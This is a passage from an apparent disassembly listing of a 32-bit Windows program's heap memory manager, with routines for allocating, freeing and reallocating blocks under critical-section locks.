		or	ecx, 80000002h
		mov	[eax], ecx


loc_401A26:				; CODE XREF: sub_401A04+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_401A04	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A2C	proc near		; CODE XREF: sub_401C58+36p
		push	ebx
		push	esi
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_401A4F
		mov	dword_4055B0, 4


loc_401A4F:				; CODE XREF: sub_401A2C+17j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_401A6F
		mov	dword_4055B0, 5


loc_401A6F:				; CODE XREF: sub_401A2C+37j
		test	byte ptr [ecx],	1
		jz	short loc_401A94
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		cmp	esi, [eax+8]
		jz	short loc_401A8D
		mov	dword_4055B0, 6


loc_401A8D:				; CODE XREF: sub_401A2C+55j
		call	sub_40191C
		add	ebx, esi


loc_401A94:				; CODE XREF: sub_401A2C+46j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_401A2C	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_401A9C	proc near		; CODE XREF: sub_401C58+4Fp
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	edi, edi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_401AB7
		and	eax, 7FFFFFFCh
		add	edi, eax
		add	ebx, eax
		mov	eax, [ebx]


loc_401AB7:				; CODE XREF: sub_401A9C+Ej
		test	al, 2
		jnz	short loc_401ACE
		mov	esi, ebx
		mov	eax, esi
		call	sub_40191C
		mov	eax, [esi+8]
		add	edi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh


loc_401ACE:				; CODE XREF: sub_401A9C+1Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401A9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401AD4	proc near		; CODE XREF: sub_401B84+61p

var_1C		= byte ptr -1Ch
var_1B		= dword	ptr -1Bh
var_17		= dword	ptr -17h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	edi, edx
		mov	esi, eax
		mov	[esp+1Ch+var_1C], 0
		mov	eax, esi
		call	sub_401980
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_401B76
		mov	ebp, [ebx+8]
		mov	eax, ebp
		add	eax, [ebx+0Ch]
		mov	edx, eax
		lea	ecx, [edi+esi]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_401B0C
		mov	edi, eax
		sub	edi, esi


loc_401B0C:				; CODE XREF: sub_401AD4+32j
		mov	eax, esi
		sub	eax, ebp
		cmp	eax, 0Ch
		jge	short loc_401B29
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, esi
		sub	edx, [ebx+8]
		add	edx, edi
		mov	eax, ebp
		call	sub_4016EC
		jmp	short loc_401B3A
; ---------------------------------------------------------------------------


loc_401B29:				; CODE XREF: sub_401AD4+3Fj
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, edi
		sub	edx, 4
		lea	eax, [esi+4]
		call	sub_4016EC


loc_401B3A:				; CODE XREF: sub_401AD4+53j
		mov	ebp, [esp+1Ch+var_1B]
		test	ebp, ebp
		jz	short loc_401B76
		mov	edx, ebp
		sub	edx, esi
		mov	eax, esi
		call	sub_4019B0
		mov	eax, ebp
		add	eax, [esp+1Ch+var_17]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnb	short loc_401B67
		lea	edx, [edi+esi]
		sub	edx, eax
		call	sub_401A04


loc_401B67:				; CODE XREF: sub_401AD4+87j
		lea	edx, [esp+1Ch+var_1B]
		mov	eax, ebx
		call	sub_4011FC
		mov	[esp+1Ch+var_1C], 1


loc_401B76:				; CODE XREF: sub_401AD4+1Aj
					; sub_401AD4+6Cj
		mov	al, [esp+1Ch+var_1C]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401AD4	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_401B84	proc near		; CODE XREF: sub_4019B0+16p
					; sub_401D70+BBp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		mov	ebx, edi
		mov	[ebx+8], esi
		mov	eax, ebx
		add	eax, esi
		sub	eax, 0Ch
		mov	[eax+8], esi
		cmp	esi, 1000h
		jg	short loc_401BD9
		mov	edx, esi
		test	edx, edx
		jns	short loc_401BAB
		add	edx, 3


loc_401BAB:				; CODE XREF: sub_401B84+22j
		sar	edx, 2
		mov	eax, dword_40560C
		mov	eax, [eax+edx*4-0Ch]
		test	eax, eax
		jnz	short loc_401BCB
		mov	eax, dword_40560C
		mov	[eax+edx*4-0Ch], ebx
		mov	[ebx+4], ebx
		mov	[ebx], ebx
		jmp	short loc_401C05
; ---------------------------------------------------------------------------


loc_401BCB:				; CODE XREF: sub_401B84+35j
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx
		jmp	short loc_401C05
; ---------------------------------------------------------------------------


loc_401BD9:				; CODE XREF: sub_401B84+1Cj
		cmp	esi, 3C00h
		jl	short loc_401BEE
		mov	edx, esi
		mov	eax, edi
		call	sub_401AD4
		test	al, al
		jnz	short loc_401C05


loc_401BEE:				; CODE XREF: sub_401B84+5Bj
		mov	eax, dword_405600
		mov	dword_405600, ebx
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx


loc_401C05:				; CODE XREF: sub_401B84+45j
					; sub_401B84+53j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B84	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_401C0C	proc near		; CODE XREF: sub_401C58+Fp
					; sub_401FF4+100p ...
		cmp	dword_405604, 0
		jle	short locret_401C55
		cmp	dword_405604, 0Ch
		jge	short loc_401C2A
		mov	dword_4055B0, 7
		jmp	short locret_401C55
; ---------------------------------------------------------------------------


loc_401C2A:				; CODE XREF: sub_401C0C+10j
		mov	eax, dword_405604
		or	eax, 2
		mov	edx, dword_405608
		mov	[edx], eax
		mov	eax, dword_405608
		add	eax, 4
		call	sub_4019E0
		xor	eax, eax
		mov	dword_405608, eax
		xor	eax, eax
		mov	dword_405604, eax

locret_401C55:				; CODE XREF: sub_401C0C+7j
					; sub_401C0C+1Cj
		retn
sub_401C0C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_401C58	proc near		; CODE XREF: sub_401CE4+18p
					; sub_401D10+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_401C0C
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset dword_405610
		call	sub_40118C
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_401C88
		xor	eax, eax
		jmp	short loc_401CDA
; ---------------------------------------------------------------------------


loc_401C88:				; CODE XREF: sub_401C58+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_401C98
		call	sub_401A2C
		sub	[edi], eax
		add	[edi+4], eax


loc_401C98:				; CODE XREF: sub_401C58+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_401CAF
		call	sub_401A9C
		add	[edi+4], eax


loc_401CAF:				; CODE XREF: sub_401C58+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_401CC9
		sub	eax, 4
		mov	edx, 4
		call	sub_4019B0
		sub	dword ptr [edi+4], 4


loc_401CC9:				; CODE XREF: sub_401C58+5Ej
		mov	eax, [edi]
		mov	dword_405608, eax
		mov	eax, [edi+4]
		mov	dword_405604, eax
		mov	al, 1


loc_401CDA:				; CODE XREF: sub_401C58+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401C58	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_401CE4	proc near		; CODE XREF: sub_401D70+57p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_401538
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_401D05
		mov	eax, esp
		call	sub_401C58
		test	al, al
		jnz	short loc_401D09


loc_401D05:				; CODE XREF: sub_401CE4+14j
		xor	eax, eax
		jmp	short loc_401D0B
; ---------------------------------------------------------------------------


loc_401D09:				; CODE XREF: sub_401CE4+1Fj
		mov	al, 1


loc_401D0B:				; CODE XREF: sub_401CE4+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_401CE4	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_401D10	proc near		; CODE XREF: sub_402198+1A4p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_4015C8
		cmp	[esp+10h+var_10], 0
		jz	short loc_401D36
		mov	eax, esp
		call	sub_401C58
		test	al, al
		jnz	short loc_401D3A


loc_401D36:				; CODE XREF: sub_401D10+19j
		xor	eax, eax
		jmp	short loc_401D3C
; ---------------------------------------------------------------------------


loc_401D3A:				; CODE XREF: sub_401D10+24j
		mov	al, 1


loc_401D3C:				; CODE XREF: sub_401D10+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401D10	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_401D44	proc near		; CODE XREF: sub_401D70+4Ap
		xor	edx, edx
		test	eax, eax
		jns	short loc_401D4D
		add	eax, 3


loc_401D4D:				; CODE XREF: sub_401D44+4j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_401D6D


loc_401D57:				; CODE XREF: sub_401D44+27j
		mov	edx, dword_40560C
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jnz	short loc_401D6D
		inc	eax
		cmp	eax, 401h
		jnz	short loc_401D57


loc_401D6D:				; CODE XREF: sub_401D44+11j
					; sub_401D44+1Fj
		mov	eax, edx
		retn
sub_401D44	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D70	proc near		; CODE XREF: sub_401E64+153p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, eax
		mov	edi, offset dword_405600
		mov	ebp, offset dword_405604


loc_401D80:				; CODE XREF: sub_401D70+6Aj
		mov	ebx, dword_4055F8
		cmp	esi, [ebx+8]
		jle	loc_401E13
		mov	ebx, [edi]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_401E13
		mov	[ebx+8], esi


loc_401D9B:				; CODE XREF: sub_401D70+31j
		mov	ebx, [ebx+4]
		cmp	esi, [ebx+8]
		jg	short loc_401D9B
		mov	edx, [edi]
		mov	[edx+8], eax
		cmp	ebx, [edi]
		jz	short loc_401DB0
		mov	[edi], ebx
		jmp	short loc_401E13
; ---------------------------------------------------------------------------


loc_401DB0:				; CODE XREF: sub_401D70+3Aj
		cmp	esi, 1000h
		jg	short loc_401DC5
		mov	eax, esi
		call	sub_401D44
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_401E13


loc_401DC5:				; CODE XREF: sub_401D70+46j
		mov	eax, esi
		call	sub_401CE4
		test	al, al
		jnz	short loc_401DD7
		xor	eax, eax
		jmp	loc_401E5F
; ---------------------------------------------------------------------------


loc_401DD7:				; CODE XREF: sub_401D70+5Ej
		cmp	esi, [ebp+0]
		jg	short loc_401D80
		sub	[ebp+0], esi
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_401DED
		add	esi, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax


loc_401DED:				; CODE XREF: sub_401D70+73j
		mov	eax, dword_405608
		add	dword_405608, esi
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	dword_40559C
		sub	esi, 4
		add	dword_4055A0, esi
		jmp	short loc_401E5F
; ---------------------------------------------------------------------------


loc_401E13:				; CODE XREF: sub_401D70+19j
					; sub_401D70+26j ...
		mov	eax, ebx
		call	sub_40191C
		mov	edx, [ebx+8]
		mov	eax, edx
		sub	eax, esi
		cmp	eax, 0Ch
		jl	short loc_401E32
		mov	edx, ebx
		add	edx, esi
		xchg	eax, edx
		call	sub_401B84
		jmp	short loc_401E44
; ---------------------------------------------------------------------------


loc_401E32:				; CODE XREF: sub_401D70+B4j
		mov	esi, edx
		cmp	ebx, [edi]
		jnz	short loc_401E3D
		mov	eax, [ebx+4]
		mov	[edi], eax


loc_401E3D:				; CODE XREF: sub_401D70+C6j
		mov	eax, ebx
		add	eax, esi
		and	dword ptr [eax], 0FFFFFFFEh


loc_401E44:				; CODE XREF: sub_401D70+C0j
		mov	eax, ebx
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	dword_40559C
		sub	esi, 4
		add	dword_4055A0, esi


loc_401E5F:				; CODE XREF: sub_401D70+62j
					; sub_401D70+A1j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E64	proc near		; CODE XREF: sub_3D5838+5p
					; .data:004023D0p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		cmp	byte_4055AC, 0
		jnz	short loc_401E81
		call	sub_401778
		test	al, al
		jz	short loc_401E89


loc_401E81:				; CODE XREF: sub_401E64+12j
		cmp	ebx, 7FFFFFF8h
		jle	short loc_401E93


loc_401E89:				; CODE XREF: sub_401E64+1Bj
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_401FE7
; ---------------------------------------------------------------------------


loc_401E93:				; CODE XREF: sub_401E64+23j
		xor	ecx, ecx
		push	ebp
		push	offset dword_401FE0
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	byte_405035, 0
		jz	short loc_401EB4
		push	offset dword_4055B4
		call	sub_4010D4	; RtlEnterCriticalSection


loc_401EB4:				; CODE XREF: sub_401E64+44j
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_401EC4
		mov	ebx, 0Ch


loc_401EC4:				; CODE XREF: sub_401E64+59j
		cmp	ebx, 1000h
		jg	loc_401F63
		mov	eax, ebx
		test	eax, eax
		jns	short loc_401ED9
		add	eax, 3


loc_401ED9:				; CODE XREF: sub_401E64+70j
		sar	eax, 2
		mov	edx, dword_40560C
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jz	short loc_401F63
		mov	esi, edx
		mov	eax, esi
		add	eax, ebx
		and	dword ptr [eax], 0FFFFFFFEh
		mov	eax, [edx+4]
		cmp	edx, eax
		jnz	short loc_401F14
		mov	eax, ebx
		test	eax, eax
		jns	short loc_401F03
		add	eax, 3


loc_401F03:				; CODE XREF: sub_401E64+9Aj
		sar	eax, 2
		mov	ecx, dword_40560C
		xor	edi, edi
		mov	[ecx+eax*4-0Ch], edi
		jmp	short loc_401F3A
; ---------------------------------------------------------------------------


loc_401F14:				; CODE XREF: sub_401E64+94j
		mov	ecx, ebx
		test	ecx, ecx
		jns	short loc_401F1D
		add	ecx, 3


loc_401F1D:				; CODE XREF: sub_401E64+B4j
		sar	ecx, 2
		mov	edi, dword_40560C
		mov	[edi+ecx*4-0Ch], eax
		mov	ecx, [edx]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx


loc_401F3A:				; CODE XREF: sub_401E64+AEj
		mov	eax, esi
		mov	edx, [edx+8]
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	dword_40559C
		sub	ebx, 4
		add	dword_4055A0, ebx
		call	sub_402A44
		jmp	loc_401FE7
; ---------------------------------------------------------------------------


loc_401F63:				; CODE XREF: sub_401E64+66j
					; sub_401E64+84j
		cmp	ebx, dword_405604
		jg	short loc_401FB5
		sub	dword_405604, ebx
		cmp	dword_405604, 0Ch
		jge	short loc_401F87
		add	ebx, dword_405604
		xor	eax, eax
		mov	dword_405604, eax


loc_401F87:				; CODE XREF: sub_401E64+114j
		mov	eax, dword_405608
		add	dword_405608, ebx
		mov	edx, ebx
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	dword_40559C
		sub	ebx, 4
		add	dword_4055A0, ebx
		call	sub_402A44
		jmp	short loc_401FE7
; ---------------------------------------------------------------------------


loc_401FB5:				; CODE XREF: sub_401E64+105j
		mov	eax, ebx
		call	sub_401D70
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401FE7
		cmp	byte_405035, 0
		jz	short locret_401FDF
		push	offset dword_4055B4
		call	sub_4010DC	; RtlLeaveCriticalSection

locret_401FDF:				; CODE XREF: sub_401E64+16Fj
		retn
; ---------------------------------------------------------------------------
dword_401FE0	dd 9A3E9h						; sub_401E64+32o
		db 0, 0EBh, 0E5h
; ---------------------------------------------------------------------------


loc_401FE7:				; CODE XREF: sub_401E64+2Aj
					; sub_401E64+FAj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_401E64	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FF4	proc near		; CODE XREF: sub_3D5858+5p
					; sub_4019E0+1Cp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		mov	dword_4055B0, eax
		cmp	byte_4055AC, 0
		jnz	short loc_40202C
		call	sub_401778
		test	al, al
		jnz	short loc_40202C
		mov	dword_4055B0, 8
		mov	[ebp+var_4], 8
		jmp	loc_40218D
; ---------------------------------------------------------------------------


loc_40202C:				; CODE XREF: sub_401FF4+17j
					; sub_401FF4+20j
		xor	ecx, ecx
		push	ebp
		push	offset word_402186
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	byte_405035, 0
		jz	short loc_40204D
		push	offset dword_4055B4
		call	sub_4010D4	; RtlEnterCriticalSection


loc_40204D:				; CODE XREF: sub_401FF4+4Dj
		mov	esi, ebx
		sub	esi, 4
		mov	ebx, [esi]
		test	bl, 2
		jnz	short loc_402068
		mov	dword_4055B0, 9
		jmp	loc_40215D
; ---------------------------------------------------------------------------


loc_402068:				; CODE XREF: sub_401FF4+63j
		dec	dword_40559C
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	dword_4055A0, eax
		test	bl, 1
		jz	short loc_4020C8
		mov	eax, esi
		sub	eax, 0Ch
		mov	edx, [eax+8]
		cmp	edx, 0Ch
		jl	short loc_402098
		test	edx, 80000003h
		jz	short loc_4020A7


loc_402098:				; CODE XREF: sub_401FF4+9Aj
		mov	dword_4055B0, 0Ah
		jmp	loc_40215D
; ---------------------------------------------------------------------------


loc_4020A7:				; CODE XREF: sub_401FF4+A2j
		mov	eax, esi
		sub	eax, edx
		cmp	edx, [eax+8]
		jz	short loc_4020BF
		mov	dword_4055B0, 0Ah
		jmp	loc_40215D
; ---------------------------------------------------------------------------


loc_4020BF:				; CODE XREF: sub_401FF4+BAj
		add	ebx, edx
		mov	esi, eax
		call	sub_40191C


loc_4020C8:				; CODE XREF: sub_401FF4+8Dj
		and	ebx, 7FFFFFFCh
		mov	eax, esi
		add	eax, ebx
		mov	edi, eax
		cmp	edi, dword_405608
		jnz	short loc_402108
		sub	dword_405608, ebx
		add	dword_405604, ebx
		cmp	dword_405604, 3C00h
		jle	short loc_4020F9
		call	sub_401C0C


loc_4020F9:				; CODE XREF: sub_401FF4+FEj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_402A44
		jmp	loc_40218D
; ---------------------------------------------------------------------------


loc_402108:				; CODE XREF: sub_401FF4+E6j
		mov	edx, [eax]
		test	dl, 2
		jz	short loc_40212B
		and	edx, 7FFFFFFCh
		cmp	edx, 4
		jge	short loc_402126
		mov	dword_4055B0, 0Bh
		jmp	short loc_40215D
; ---------------------------------------------------------------------------


loc_402126:				; CODE XREF: sub_401FF4+124j
		or	dword ptr [eax], 1
		jmp	short loc_402154
; ---------------------------------------------------------------------------


loc_40212B:				; CODE XREF: sub_401FF4+119j
		mov	eax, edi
		cmp	dword ptr [eax+4], 0
		jz	short loc_40213E
		cmp	dword ptr [eax], 0
		jz	short loc_40213E
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_40214A


loc_40213E:				; CODE XREF: sub_401FF4+13Dj
					; sub_401FF4+142j
		mov	dword_4055B0, 0Bh
		jmp	short loc_40215D
; ---------------------------------------------------------------------------


loc_40214A:				; CODE XREF: sub_401FF4+148j
		mov	edx, [eax+8]
		add	ebx, edx
		call	sub_40191C


loc_402154:				; CODE XREF: sub_401FF4+135j
		mov	edx, ebx
		mov	eax, esi
		call	sub_401B84


loc_40215D:				; CODE XREF: sub_401FF4+6Fj
					; sub_401FF4+AEj ...
		mov	eax, dword_4055B0
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40218D
		cmp	byte_405035, 0
		jz	short locret_402185
		push	offset dword_4055B4
		call	sub_4010DC	; RtlLeaveCriticalSection

locret_402185:				; CODE XREF: sub_401FF4+185j
		retn
; ---------------------------------------------------------------------------
word_402186	dw 0FDE9h		; DATA XREF: sub_3D53F4+3Bo
					; sub_401FF4+3Bo
		dd 0EB000007h
		db 0E5h
; ---------------------------------------------------------------------------


loc_40218D:				; CODE XREF: sub_401FF4+33j
					; sub_401FF4+10Fj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_401FF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_402198	proc near		; CODE XREF: .data:004023C0p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		add	esi, 7
		and	esi, 0FFFFFFFCh
		cmp	esi, 0Ch
		jge	short loc_4021B1
		mov	esi, 0Ch


loc_4021B1:				; CODE XREF: sub_402198+12j
		mov	ebp, eax
		sub	ebp, 4
		mov	edi, [ebp+0]
		and	edi, 7FFFFFFCh
		mov	eax, ebp
		add	eax, edi
		mov	ebx, eax
		cmp	edi, esi
		jnz	short loc_4021D0
		mov	al, 1
		jmp	loc_40236B
; ---------------------------------------------------------------------------


loc_4021D0:				; CODE XREF: sub_402198+2Fj
		cmp	edi, esi
		jle	loc_40225B
		mov	edx, edi
		sub	edx, esi
		mov	[esp+18h+var_18], edx
		cmp	ebx, dword_405608
		jnz	short loc_40221F
		mov	eax, [esp+18h+var_18]
		sub	dword_405608, eax
		mov	eax, [esp+18h+var_18]
		add	dword_405604, eax
		cmp	dword_405604, 0Ch
		jge	loc_402352
		mov	eax, [esp+18h+var_18]
		add	dword_405608, eax
		mov	eax, [esp+18h+var_18]
		sub	dword_405604, eax
		mov	esi, edi
		jmp	loc_402352
; ---------------------------------------------------------------------------


loc_40221F:				; CODE XREF: sub_402198+4Dj
		mov	ebx, eax
		test	byte ptr [ebx],	2
		jnz	short loc_402233
		mov	eax, ebx
		mov	edx, [eax+8]
		add	[esp+18h+var_18], edx
		call	sub_40191C


loc_402233:				; CODE XREF: sub_402198+8Cj
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_402254
		mov	ebx, ebp
		add	ebx, esi
		mov	eax, [esp+18h+var_18]
		or	eax, 2
		mov	[ebx], eax
		mov	eax, ebx
		add	eax, 4
		call	sub_4019E0
		jmp	loc_402352
; ---------------------------------------------------------------------------


loc_402254:				; CODE XREF: sub_402198+9Fj
		mov	esi, edi
		jmp	loc_402352
; ---------------------------------------------------------------------------


loc_40225B:				; CODE XREF: sub_402198+3Aj
					; sub_402198+1B1j
		mov	eax, esi
		sub	eax, edi
		mov	[esp+18h+var_14], eax
		cmp	ebx, dword_405608
		jnz	short loc_4022D2
		mov	eax, dword_405604
		cmp	eax, [esp+18h+var_14]
		jl	short loc_4022C9
		mov	eax, [esp+18h+var_14]
		sub	dword_405604, eax
		mov	eax, [esp+18h+var_14]
		add	dword_405608, eax
		cmp	dword_405604, 0Ch
		jge	short loc_4022AB
		mov	eax, dword_405604
		add	dword_405608, eax
		add	esi, dword_405604
		xor	eax, eax
		mov	dword_405604, eax


loc_4022AB:				; CODE XREF: sub_402198+F9j
		mov	eax, esi
		sub	eax, edi
		add	dword_4055A0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1
		jmp	loc_40236B
; ---------------------------------------------------------------------------


loc_4022C9:				; CODE XREF: sub_402198+DCj
		call	sub_401C0C
		mov	ebx, ebp
		add	ebx, edi


loc_4022D2:				; CODE XREF: sub_402198+D1j
		test	byte ptr [ebx],	2
		jnz	short loc_402324
		mov	edx, ebx
		mov	eax, edx
		mov	ecx, [eax+8]
		mov	[esp+18h+var_18], ecx
		mov	ecx, [esp+18h+var_18]
		cmp	ecx, [esp+18h+var_14]
		jge	short loc_4022F8
		add	edx, [esp+18h+var_18]
		mov	ebx, edx
		mov	eax, [esp+18h+var_18]
		sub	[esp+18h+var_14], eax
		jmp	short loc_402324
; ---------------------------------------------------------------------------


loc_4022F8:				; CODE XREF: sub_402198+150j
		call	sub_40191C
		mov	eax, [esp+18h+var_14]
		sub	[esp+18h+var_18], eax
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_402318
		mov	eax, ebp
		add	eax, esi
		mov	edx, [esp+18h+var_18]
		call	sub_401B84
		jmp	short loc_402352
; ---------------------------------------------------------------------------


loc_402318:				; CODE XREF: sub_402198+170j
		add	esi, [esp+18h+var_18]
		mov	ebx, ebp
		add	ebx, esi
		and	dword ptr [ebx], 0FFFFFFFEh
		jmp	short loc_402352
; ---------------------------------------------------------------------------


loc_402324:				; CODE XREF: sub_402198+13Dj
					; sub_402198+15Ej
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_40234E
		and	eax, 7FFFFFFCh
		add	eax, ebx
		mov	ebx, eax
		mov	edx, [esp+18h+var_14]
		mov	eax, ebx
		call	sub_401D10
		test	al, al
		jz	short loc_40234E
		mov	ebx, ebp
		add	ebx, edi
		jmp	loc_40225B
; ---------------------------------------------------------------------------


loc_40234E:				; CODE XREF: sub_402198+193j
					; sub_402198+1ABj
		xor	eax, eax
		jmp	short loc_40236B
; ---------------------------------------------------------------------------


loc_402352:				; CODE XREF: sub_402198+68j
					; sub_402198+82j ...
		mov	eax, esi
		sub	eax, edi
		add	dword_4055A0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1


loc_40236B:				; CODE XREF: sub_402198+33j
					; sub_402198+12Cj ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402198	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
; ---------------------------------------------------------------------------


loc_402374:				; DATA XREF: .data:003D6A2Co
					; .data:0040402Co
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		cmp	byte_4055AC, 0
		jnz	short loc_40239B
		call	sub_401778
		test	al, al
		jnz	short loc_40239B
		xor	eax, eax
		mov	[ebp-4], eax
		jmp	loc_40242C
; ---------------------------------------------------------------------------


loc_40239B:				; CODE XREF: .data:00402386j
					; .data:0040238Fj
		xor	edx, edx
		push	ebp
		push	offset byte_402425
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	byte_405035, 0
		jz	short loc_4023BC
		push	offset dword_4055B4
		call	sub_4010D4	; RtlEnterCriticalSection


loc_4023BC:				; CODE XREF: .data:004023B0j
		mov	edx, esi
		mov	eax, ebx
		call	sub_402198
		test	al, al
		jz	short loc_4023CE
		mov	[ebp-4], ebx
		jmp	short loc_402404
; ---------------------------------------------------------------------------


loc_4023CE:				; CODE XREF: .data:004023C7j
		mov	eax, esi
		call	sub_401E64
		mov	edi, eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
